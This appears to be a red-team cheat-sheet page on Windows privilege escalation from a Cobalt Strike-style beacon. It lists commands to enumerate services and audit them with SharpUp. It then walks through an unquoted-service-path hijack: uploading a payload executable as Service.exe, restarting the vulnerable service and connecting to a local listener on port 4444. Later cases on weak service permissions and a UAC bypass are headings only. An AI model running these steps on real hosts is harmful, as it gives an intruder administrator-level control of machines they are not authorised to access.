githubEdit

Privilege Escalation

Privilege Escalation

Query and Manage all the installed services

beacon> powershell Get-Service | fl
beacon> run wmic service get name, pathname
beacon> run sc query
beacon> run sc qc VulnService2
beacon> run sc stop VulnService1
beacon> run sc start VulnService1

Use SharpUp to find exploitable services

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit 

CASE 1: Unquoted Service Path (Hijack the service binary search logic to execute our payload)

beacon> execute-assembly C:\Tools\SharpUp\SharpUp\bin\Release\SharpUp.exe audit UnquotedServicePath
beacon> powershell Get-Acl -Path "C:\Program Files\Vulnerable Services" | fl
beacon> cd C:\Program Files\Vulnerable Services
beacon> upload C:\Payloads\tcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> run sc stop VulnService1
beacon> run sc start VulnService1
beacon> connect localhost 4444

CASE 2: Weak Service Permission (Possible to modify service configuration)

CASE 3: Weak Service Binary Permission (Overwite the service binary due to weak permission)

UAC Bypass

Last updated